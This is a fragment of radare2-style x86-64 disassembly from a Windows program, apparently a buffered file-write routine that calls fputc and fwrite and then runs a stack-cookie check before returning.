call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002681
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002662
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000267c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002681
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003540
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret